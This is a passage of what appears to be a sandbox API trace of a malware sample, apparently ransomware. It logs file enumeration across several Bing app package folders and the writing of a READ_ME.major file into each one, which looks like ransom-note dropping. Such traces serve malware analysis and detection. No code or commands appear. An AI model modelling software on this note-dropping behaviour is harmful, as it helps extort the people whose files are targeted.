dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0184.363] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e7f8 [0184.363] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0184.363] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4b12a8ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31821783, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31821783, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0184.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.475] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.475] CloseHandle (hObject=0x878) returned 1 [0184.475] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b0b81eb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff29c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b0b81eb, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.476] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.476] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.477] CloseHandle (hObject=0x878) returned 1 [0184.477] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff2e34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.477] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.478] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.479] CloseHandle (hObject=0x878) returned 1 [0184.479] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff32b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0184.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.480] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.481] CloseHandle (hObject=0x878) returned 1 [0184.481] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0184.481] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff36d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0184.481] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.481] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.482] CloseHandle (hObject=0x878) returned 1 [0184.482] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0184.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.650] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.650] CloseHandle (hObject=0x878) returned 1 [0184.651] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89dadb, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc89dadb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0184.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.652] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.653] CloseHandle (hObject=0x878) returned 1 [0184.653] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca1c28a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0184.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0184.653] WriteFile (in: hFile=0x878, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.654] CloseHandle (hObject=0x878) returned 1 [0184.654] FindNextFileW (in: hFindFile=0x58e7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca1c28a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0184.654] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661870 [0184.654] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0184.655] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x497af639, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31ad021b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31ad021b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0184.655] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.886] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.886] CloseHandle (hObject=0x87c) returned 1 [0184.886] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4973cf32, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca268344, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4973cf32, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.887] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.887] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.888] CloseHandle (hObject=0x87c) returned 1 [0184.888] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca268bb4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.888] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.889] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.890] CloseHandle (hObject=0x87c) returned 1 [0184.890] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca26947a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0184.890] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.891] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.891] CloseHandle (hObject=0x87c) returned 1 [0184.891] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0184.892] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca269b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0184.892] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.892] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.893] CloseHandle (hObject=0x87c) returned 1 [0184.893] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0184.893] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.939] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.940] CloseHandle (hObject=0x87c) returned 1 [0184.940] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d1ab98, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x9d1ab98, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x9d1ab98, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0184.941] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.943] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.952] CloseHandle (hObject=0x87c) returned 1 [0184.952] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca3325f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0184.953] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0184.953] WriteFile (in: hFile=0x87c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.954] CloseHandle (hObject=0x87c) returned 1 [0184.954] FindNextFileW (in: hFindFile=0x661870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca3325f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0184.954] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, 